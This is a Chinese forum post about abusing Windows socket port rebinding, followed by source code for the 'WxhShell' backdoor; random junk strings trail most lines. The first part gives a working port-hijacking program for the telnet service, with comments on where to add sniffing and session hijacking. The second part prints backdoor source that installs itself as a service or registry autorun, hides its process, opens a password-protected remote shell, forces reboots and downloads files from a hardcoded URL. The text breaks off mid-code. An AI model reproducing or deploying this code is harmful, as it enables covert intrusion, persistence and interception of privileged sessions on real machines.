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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {AL EK   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J:L+q} A  
MzJCiX^  
  saddr.sin_family = AF_INET; AK2Gm-hHK  
6pt_cpbR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fu/8r%:h  
hmO2s/~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _M&TT]a  
q@|+`>h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n/+X3JJ  
W$rWg>4>  
  这意味着什么?意味着可以进行如下的攻击: ~RhUg~o  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 py*22Ua^  
Dcl$?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6#?T?!vZ  
!Zz;;Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $MQ}+*Wr  
cO~<iy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z!1D4`w  
1- KNXGb'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KA5)]UF`l  
w,LtQhQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CLR1 CGnn7  
zM9#1^X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =)[m[@,c  
,fkvvM{mq  
  #include Td=4V,BN  
  #include 8\n3 i"  
  #include #~*v##^vFH  
  #include    )h{&O ,s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z'z)Oo  
  int main() rbw$=bX}  
  { ToXWFX  
  WORD wVersionRequested; `fu_){  
  DWORD ret; @I _cwUO  
  WSADATA wsaData; Dyo v}y  
  BOOL val; ) r2Y@+.FN  
  SOCKADDR_IN saddr; _bFUr  
  SOCKADDR_IN scaddr; M";qo6  
  int err; p4' .1.@  
  SOCKET s; +)Z]<O  
  SOCKET sc; fE#(M+(<  
  int caddsize; *]6g-E?:@  
  HANDLE mt; o.+;]i}D  
  DWORD tid;   Dp@XAyiA[  
  wVersionRequested = MAKEWORD( 2, 2 ); NB-dlv1  
  err = WSAStartup( wVersionRequested, &wsaData ); oxwbq=a6yV  
  if ( err != 0 ) { z:Ml;y  
  printf("error!WSAStartup failed!\n"); bz4Gzp'6k  
  return -1; Hq3|>OqC2Q  
  } *LT~:Gs#  
  saddr.sin_family = AF_INET; _5oTNL2  
   ~wvt:E,f C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d+9V% T  
.Ro/ioq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LD$5KaOW  
  saddr.sin_port = htons(23); Z*,e<zNQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Av X1*  
  { D -}>28  
  printf("error!socket failed!\n"); ~f/|bcep  
  return -1; `c`VIq?  
  } Ma YU%h0  
  val = TRUE; Kl1v^3\{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7+O)AU{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @CMI$}!{V  
  { =~#mF<z5  
  printf("error!setsockopt failed!\n"); j{@O %fv=  
  return -1; !NXjax\r  
  } $%<{zWQm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wj)LOA0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vB:\ZX4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IpP%WW u  
@= -(H<0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P"YdB|I  
  { eV;r /4  
  ret=GetLastError(); th?+TNb^  
  printf("error!bind failed!\n"); 9^gYy&+>6]  
  return -1; E C?}iP  
  } Ss3p6%V/  
  listen(s,2); ^QK`z@B  
  while(1) =7Ln&tZ  
  { }0'=}BE  
  caddsize = sizeof(scaddr); xQoZ[  
  //接受连接请求 u?osX;'w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L\:|95Yq  
  if(sc!=INVALID_SOCKET) H4$qM_N  
  { 'o AmA=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !8{ VLg  
  if(mt==NULL) ?Oyo /?/  
  { fPR_ 3qgQ  
  printf("Thread Creat Failed!\n"); @Jt$92i5PS  
  break; -JW~_Q[  
  } S}6Ld(_  
  } lZFu|(  
  CloseHandle(mt); '-iEbE  
  } @HT\Y%E  
  closesocket(s); =|3BkmO  
  WSACleanup(); "J VIkC  
  return 0; m%'nk"p9  
  }   L9GLj Rp-  
  DWORD WINAPI ClientThread(LPVOID lpParam) qBA)5Sv\V  
  { GkGiQf4hh  
  SOCKET ss = (SOCKET)lpParam; Y(Q 0m|3P  
  SOCKET sc; >O'\ jp}$l  
  unsigned char buf[4096]; _~kw^!p>Kr  
  SOCKADDR_IN saddr; 'Wlbh:=$  
  long num; bJ d| mm/v  
  DWORD val; =i/Df ?  
  DWORD ret; {)YbksrJ{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @rl5k(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r- 8Awa  
  saddr.sin_family = AF_INET; ^y+k6bE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mdi!Q1pS  
  saddr.sin_port = htons(23); X5 vMY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s~M4. 06P  
  { +^.Yt0}  
  printf("error!socket failed!\n"); rrD6x>  
  return -1; ``MO5${  
  } K'A+V  
  val = 100; lriezI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |9* Rnm_  
  { ~7m`p3W@  
  ret = GetLastError(); ? <?Ogq"<  
  return -1; XlppA3JON|  
  } _l d.Xmvd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?]Yic]$n  
  { ot0teNF  
  ret = GetLastError(); FP@_V-  
  return -1; N$fP\h^AR  
  } $BqiC!~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (tK_(gO  
  { Sd+5Uf `  
  printf("error!socket connect failed!\n"); qv!(In>u  
  closesocket(sc); <=(K'eqC^  
  closesocket(ss); 7 N}@zPAZ  
  return -1; 7Cz~nin>7  
  } HqGI.  
  while(1) ysaRH3M  
  { r~b.tpH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QiCia#_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6pt,]FlU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qe]D4K8`Q3  
  num = recv(ss,buf,4096,0); O=K lc+Oo  
  if(num>0) _u]Z+H"  
  send(sc,buf,num,0); 92TuuN#{  
  else if(num==0) D  T5d]MU  
  break; u>XXKlW:  
  num = recv(sc,buf,4096,0); ; 476t  
  if(num>0) *5'8jC"2g  
  send(ss,buf,num,0); YPK@BmAdE  
  else if(num==0) 0h-NT\m  
  break; gtKih  
  } O,$*`RZpx  
  closesocket(ss); fB2ILRc  
  closesocket(sc); FZ*"^=)`G  
  return 0 ; " ityx?  
  } l\_!oa~  
R|?n  
B`SX3,3  
========================================================== <spG]Xa<  
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下边附上一个代码,,WXhSHELL +y| B"}x  
+17!v_4^  
========================================================== Ey@^gHku\  
yg\QtWW M  
#include "stdafx.h" D+T/ Z)  
=?]`Xo,v~  
#include <stdio.h> ,Yag! i>;  
#include <string.h> Bg|d2,im  
#include <windows.h> FSuC)Xg  
#include <winsock2.h> Fe8X@63  
#include <winsvc.h> Z%~}*F}7X  
#include <urlmon.h>  ^B"LT>.[  
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#pragma comment (lib, "Ws2_32.lib") W ?x~"-*  
#pragma comment (lib, "urlmon.lib") ; _%zf5;'  
#JUh"8N'  
#define MAX_USER   100 // 最大客户端连接数 Tv%7=P;r  
#define BUF_SOCK   200 // sock buffer T{prCM  
#define KEY_BUFF   255 // 输入 buffer | BaEv\$K  
yY]x' 'K  
#define REBOOT     0   // 重启 0fc;H}B*  
#define SHUTDOWN   1   // 关机 lDS y$  
)U/Kz1U  
#define DEF_PORT   5000 // 监听端口 L7ae6#5.  
b+Q{Z*  
#define REG_LEN     16   // 注册表键长度 kEh9J>|M  
#define SVC_LEN     80   // NT服务名长度  Wvb ~j  
Csyh 'v  
// 从dll定义API 6;E3|st1X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,Uh^e]pC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |=5zI6pT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "8Dm7)nB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `;mgJD  
m%9Yo%l~  
// wxhshell配置信息 _DR@P(0>_  
struct WSCFG { (N/u@M  
  int ws_port;         // 监听端口 RFM;?!S  
  char ws_passstr[REG_LEN]; // 口令 + S+!:IB  
  int ws_autoins;       // 安装标记, 1=yes 0=no  II'.vp  
  char ws_regname[REG_LEN]; // 注册表键名 65Z}Hf  
  char ws_svcname[REG_LEN]; // 服务名 >{AE@@PB^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .1(_7!m@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Sr+hB>{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j32*9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no taDe^Ist j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8{Wl   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o0WwlmB5  
ybpOk  
}; ) [eTZg  
2UQF:R?LQ  
// default Wxhshell configuration Zx8$M5  
struct WSCFG wscfg={DEF_PORT, iKq_s5|sW  
    "xuhuanlingzhe", (ot,CpI(I  
    1, 7,)E1dx -V  
    "Wxhshell", I(UK9H{0$  
    "Wxhshell", Q``1^E'  
            "WxhShell Service", hq"n RH  
    "Wrsky Windows CmdShell Service", rzdQLan  
    "Please Input Your Password: ", qFVZhBC  
  1, j6s j2D  
  "http://www.wrsky.com/wxhshell.exe", G/ si( LK  
  "Wxhshell.exe" p*K #s1  
    }; DXJw)%G w  
y/@Bhzc  
// 消息定义模块 &q&z$Gc;m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f (C:J[;Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yR5XcPoKI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; } ew{WD  
char *msg_ws_ext="\n\rExit."; ,`U>BBBLv  
char *msg_ws_end="\n\rQuit."; RZEq@q  
char *msg_ws_boot="\n\rReboot..."; zMepF]V  
char *msg_ws_poff="\n\rShutdown..."; a|TUH+|  
char *msg_ws_down="\n\rSave to "; |keU+De  
xM{[~Kh_x  
char *msg_ws_err="\n\rErr!"; ,7$&gx>2&  
char *msg_ws_ok="\n\rOK!"; }S"gZ6   
w#2apaz  
char ExeFile[MAX_PATH]; >'n[B    
int nUser = 0; AK lr a$  
HANDLE handles[MAX_USER]; -Tvnd,  
int OsIsNt; |Ja5O  
qo:Zc`t(R  
SERVICE_STATUS       serviceStatus; pPxgjX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZKW1HL ]m  
xTk6q*NvT^  
// 函数声明 ]G&[P8hz B  
int Install(void); 'h ?  
int Uninstall(void); !pfpT\i]N:  
int DownloadFile(char *sURL, SOCKET wsh); C!_=L?QT^  
int Boot(int flag); eG+$~\%Fub  
void HideProc(void); g3s5ra[  
int GetOsVer(void); ?i_2ueVR  
int Wxhshell(SOCKET wsl); yl*%P3m|  
void TalkWithClient(void *cs); aQH]hLvs  
int CmdShell(SOCKET sock); zM8 jjB  
int StartFromService(void); k %{q q v  
int StartWxhshell(LPSTR lpCmdLine); !C4)P3k  
.WeSU0XG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q@p' nE,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pv4#`.m  
BZOl&G(  
// 数据结构和表定义 dJzaP  
SERVICE_TABLE_ENTRY DispatchTable[] = ^0"fPG`  
{ GRpwEfG  
{wscfg.ws_svcname, NTServiceMain}, S^q^=q0F  
{NULL, NULL} m Urb  
}; "cS7E5-|  
5~>j98K  
// 自我安装 ~Y0K Wx4  
int Install(void) ;"f9"  
{ -~sW@u)O  
  char svExeFile[MAX_PATH]; f*V^HfiQb  
  HKEY key; p  Dg!Cs  
  strcpy(svExeFile,ExeFile); io"NqR#"v  
zp4@T)  
// 如果是win9x系统,修改注册表设为自启动 ;B< rw ^h5  
if(!OsIsNt) { lX.1B&T9Lr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |-v/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UU}Hs}  
  RegCloseKey(key); UQI!/6F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d:Z|It  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )-XD= ]  
  RegCloseKey(key); ]=3hH+1 a  
  return 0; C(sz/x?11  
    } &]f8Xd  
  } n\7 >_  
} Z3<lJk\Y  
else { W-D4" G@  
@6[aLF]F  
// 如果是NT以上系统,安装为系统服务 a@_n>$LZL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mE+=H]`.p  
if (schSCManager!=0) PMiu "  
{ Q(WfWifu-|  
  SC_HANDLE schService = CreateService 8z-wdO\  
  ( _x-2tnIxXv  
  schSCManager, R4D$)D  
  wscfg.ws_svcname, XThU+s9  
  wscfg.ws_svcdisp, ?!tO'}?  
  SERVICE_ALL_ACCESS, *Qngx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %YuFw|wO  
  SERVICE_AUTO_START, 0m4#{^Y  
  SERVICE_ERROR_NORMAL, [ P*L`F  
  svExeFile, ee<'j~{A  
  NULL, 6DEH |2  
  NULL, cri-u E?  
  NULL, lBG5~<NT  
  NULL, YYe<StyH  
  NULL AgDXpaq  
  ); 7 }t=Lx(  
  if (schService!=0) wlwgYAD  
  { *yg`V,C  
  CloseServiceHandle(schService); SbtZhg=S_  
  CloseServiceHandle(schSCManager); %Zeb#//Jz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F(U(b_DPM  
  strcat(svExeFile,wscfg.ws_svcname); 8M4GforP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2_6@&2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s ldcI@Z  
  RegCloseKey(key); f'j<v  
  return 0; UOe@R|79q  
    } M(} T\R  
  } - Lsl  
  CloseServiceHandle(schSCManager); 3D,tnn+J  
} YEiw!  
} %~<F7qB  
mt *Dx  
return 1; 5M%)*.Y 3[  
} C]zG@O !  
uE#"wm'J  
// 自我卸载 0LWV.OIIC  
int Uninstall(void) PywUPsJ  
{ [ 7{cf`C  
  HKEY key; <UW-fI)X  
n2opy8J#!  
if(!OsIsNt) { "v'%M({  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z1\=d=  
  RegDeleteValue(key,wscfg.ws_regname); < ?rdhx  
  RegCloseKey(key); }dq)d.c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q2gz\N  
  RegDeleteValue(key,wscfg.ws_regname); qz-lQ  
  RegCloseKey(key); B I>r'  
  return 0; L>`inrpz=w  
  } >b*}Td~J  
} :dlG:=.W  
} BE!WCDg,  
else { H9=8nLb.  
Q-e(>=Gv_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fHF*#  
if (schSCManager!=0) u~'j?K.^  
{ PmUq~YZ7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e=i9l  
  if (schService!=0) dY?>:ce  
  { ()_^:WQO?  
  if(DeleteService(schService)!=0) { xn<x/e  
  CloseServiceHandle(schService); w\>@> *E>  
  CloseServiceHandle(schSCManager); Gbb*p+ (  
  return 0; !imjfkG  
  } ?KFj=Yo  
  CloseServiceHandle(schService); |v"&Y  
  } ATD4 %|a9h  
  CloseServiceHandle(schSCManager); opReAU'I  
} g|{Ru  
} .V{y9e+  
1VPxCB\  
return 1; fc^d3wH0L  
} hIo ^/_K  
J)^Kls\> t  
// 从指定url下载文件 I5E4mv0<i  
int DownloadFile(char *sURL, SOCKET wsh) E`q)vk   
{ fTI~wF8!  
  HRESULT hr; kI^Pu  
char seps[]= "/"; ou\~^  
char *token; kybDw{(}gc  
char *file; jrO{A3<E  
char myURL[MAX_PATH]; B5qlU4km&  
char myFILE[MAX_PATH]; Tu=~iQ  
z| m-nIM  
strcpy(myURL,sURL); %hA0  
  token=strtok(myURL,seps); rW2   
  while(token!=NULL) j2%M-y4E  
  { TdrRg''@  
    file=token; .#Lu/w' -M  
  token=strtok(NULL,seps); ?fvK<0S`  
  } 810uxw{\  
5eX+9niY  
GetCurrentDirectory(MAX_PATH,myFILE); 7;ddzxR4  
strcat(myFILE, "\\"); u/HNXJ7M`9  
strcat(myFILE, file); tf{o=X.)  
  send(wsh,myFILE,strlen(myFILE),0); ;/(<yu48  
send(wsh,"...",3,0); T:VFyby\w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _sqV@ J  
  if(hr==S_OK) $_u)~O4$  
return 0; bSk)GZyH\d  
else $G#)D^-5G  
return 1; +Y440Tz  
DP &*P/  
} wN$u^]  
NU%W9jQYS  
// 系统电源模块 ^mCKRWOP'  
int Boot(int flag) =.8fES  
{ v0'`K 5M  
  HANDLE hToken; b=Oec%Adx  
  TOKEN_PRIVILEGES tkp; }ujl2uhM  
/}#@uC  
  if(OsIsNt) { ;TTH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FR? \H"'x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _jD\kg#LY  
    tkp.PrivilegeCount = 1; Zp <^|=D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [W*Q~Wvp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f,'9Bj. ~  
if(flag==REBOOT) { 1_6oM/?'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [mA\,ny9  
  return 0; y#)ad\  
} 7':qx}c#!1  
else { <t"|wYAa_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <5:`tC2  
  return 0; &ub0t9R  
} @w5x;uB|%G  
  } T~- OC0  
  else { >`=<(8bu  
if(flag==REBOOT) { e)A-.SRiO$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RG V}c#  
  return 0; < r7s,][&  
} vOi4$I~CJ  
else { "6 \_/l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z"j]m_m H  
  return 0; F<LRo}j"9Q  
} *^Xtorqo  
} xmBGZ4f%  
iFkXt<_A  
return 1; _ 2E*  
} #/LU@+  
+/4wioGm  
// win9x进程隐藏模块 :*dfP/GO  
void HideProc(void) &_ W~d0  
{ n|AV7c  
`T(T]^C98  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?Oyps7hXx  
  if ( hKernel != NULL ) qM8"* dL  
  { VFLW @  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \ICc?8oL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y;xY74Nq  
    FreeLibrary(hKernel); 8\B]!  
  } Gx/kel[Y}  
=&"x6F.`  
return; [ F7ru4"{  
} Dwuao`~Xm  
o* C_9M  
// 获取操作系统版本 .LA?2N  
int GetOsVer(void) X &s"}Hf  
{ 6&s" "J)3  
  OSVERSIONINFO winfo; /+ Q3JS(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l7vxTj@(-  
  GetVersionEx(&winfo); tiQeON-Q_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QP:|D_k  
  return 1; 5}NTqN0@  
  else ;?.w!|6  
  return 0; UNJAfr P  
} 1Zt>andBF  
\^]*T'>b  
// 客户端句柄模块 ?`T-A\A=  
int Wxhshell(SOCKET wsl) ^SC2k LI  
{ q!4eVg*  
  SOCKET wsh; ;<N%D=;}@  
  struct sockaddr_in client; $~r_&1  
  DWORD myID; uN+]q qCf  
"^NsbA+  
  while(nUser<MAX_USER) jN T+?2  
{ j`:D BO&)\  
  int nSize=sizeof(client); P]%)c6Uh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UWo*%&J  
  if(wsh==INVALID_SOCKET) return 1; 5VjO:>  
$~)YI/b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W@FSQ8b>$m  
if(handles[nUser]==0) 0AD8X+M{P  
  closesocket(wsh); ,jq:%Y[KZ  
else :b`ywSp`  
  nUser++; 5N(OW:M  
  } xZ(ryE%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fprP$MbI  
ae0t *;~  
  return 0; (d>}Fp  
} DVz_;m6)  
p-XO4Pc 6  
// 关闭 socket L25%KGg' o  
void CloseIt(SOCKET wsh) )18C(V-x  
{ ToX--w4  
closesocket(wsh); Jp"yb`w  
nUser--; o1Nfn'!3/>  
ExitThread(0); LDh,!5G-M  
} }*?,&9/_)  
Fxv5kho  
// 客户端请求句柄 W[<ZI>mf  
void TalkWithClient(void *cs) nZ % %{#T7  
{ 5jAS1XG  
8F9x2CM-[C  
  SOCKET wsh=(SOCKET)cs; ve^gzE$<I  
  char pwd[SVC_LEN]; yS1i$[JV  
  char cmd[KEY_BUFF]; YF)k0bu&;  
char chr[1]; d<Dm(   
int i,j; ;cfPS  
<S3s==Cg  
  while (nUser < MAX_USER) { &a.A8v)  
Z -fiJ75  
if(wscfg.ws_passstr) { (\UpJlW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y49&EQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $i@I|y/  
  //ZeroMemory(pwd,KEY_BUFF); M;9s  
      i=0; *Gul|Lp$<I  
  while(i<SVC_LEN) { ]-;MY@  
spT$}F2n  
  // 设置超时 >R}G  
  fd_set FdRead; K5!OvqzG  
  struct timeval TimeOut; dngG=  
  FD_ZERO(&FdRead); b|e1HCH  
  FD_SET(wsh,&FdRead); 9,[A fI  
  TimeOut.tv_sec=8; |y pX O3  
  TimeOut.tv_usec=0; <$??Z;6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7n,=`0{r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y_)xytJ$  
+U)4V}S)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q_cP<2`@V  
  pwd=chr[0]; 1my1m  
  if(chr[0]==0xd || chr[0]==0xa) { 8SA" bH:  
  pwd=0; +o?;7  
  break; n8tw8o%&[  
  } +Fb+dU  
  i++; RM;Uq >l  
    } =0a z5td  
_L+j6N.h1  
  // 如果是非法用户,关闭 socket 0:`*xix  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G=]ox*BY  
} V*DDU]0k  
?dPr HSy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mLx=Zes:.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >gDeuye  
!jvl"+_FV  
while(1) { 3CH> !QOA  
fN/;BT  
  ZeroMemory(cmd,KEY_BUFF); (&Rql7](8  
SlG^ H  
      // 自动支持客户端 telnet标准   j WSgO(y  
  j=0; }Ogb|8  
  while(j<KEY_BUFF) { bh(} f.@ 9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?) T@qn+  
  cmd[j]=chr[0]; <4n"LJ9  
  if(chr[0]==0xa || chr[0]==0xd) { @lWYc`>}  
  cmd[j]=0; D|*yeS4>  
  break; K|Eelhm  
  } D5!#c-Y-  
  j++; &u~Pp=kv  
    } y)"rh/;  
#0PZa$kM(o  
  // 下载文件 n =WH=:&  
  if(strstr(cmd,"http://")) { 2Z5_@Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )|_L?q#w!'  
  if(DownloadFile(cmd,wsh)) a?yU;IKJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {1qr6P,"  
  else 1[J|AkN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F 2Y!aR  
  } pKno~jja  
  else { Npi) R)  
=?Ui(?tI  
    switch(cmd[0]) { Kv2S&P|jXM  
  |]9L#  
  // 帮助 zk"8mTg  
  case '?': {  i CLH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TW|- 0  
    break; vZW[y5   
  } 8+J>jZ  
  // 安装 r6kJV4I=re  
  case 'i': { DJ*mWi.  
    if(Install()) ANNVE},  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ln=f=  
    else q#@r*hl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t|mK5aR4  
    break; bL Sc=f&  
    } #4JLWg  
  // 卸载 T:@7EL  
  case 'r': { k~gOL#$  
    if(Uninstall()) XK\3"`kd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CBoCT3@~  
    else ,<Z,-0S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \7%#4@;?  
    break; wZN_YFwQ  
    } nzaA_^`mB  
  // 显示 wxhshell 所在路径 iPkCuLQ}  
  case 'p': { 8\^A;5  
    char svExeFile[MAX_PATH]; !^ad{# |X  
    strcpy(svExeFile,"\n\r"); 7BL)FJ]UR]  
      strcat(svExeFile,ExeFile); TQmrL  
        send(wsh,svExeFile,strlen(svExeFile),0); &q@brX<,=  
    break; nmts% u  
    } IxS%V31  
  // 重启 J8i,[,KcE  
  case 'b': { xQ7U$QF|]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i/skU9  
    if(Boot(REBOOT)) 1. +6x4%rV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BjagG/ sX  
    else { co3\1[q"b  
    closesocket(wsh); ;-XfbqZ\  
    ExitThread(0); vzFp Xdt  
    } 5A*&!1T  
    break; o<%0|n_O&  
    } ^!d0a bA  
  // 关机 S1I.l">P  
  case 'd': { k=[s%O 6H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 92t.@!m`  
    if(Boot(SHUTDOWN)) `CH,QT7e  
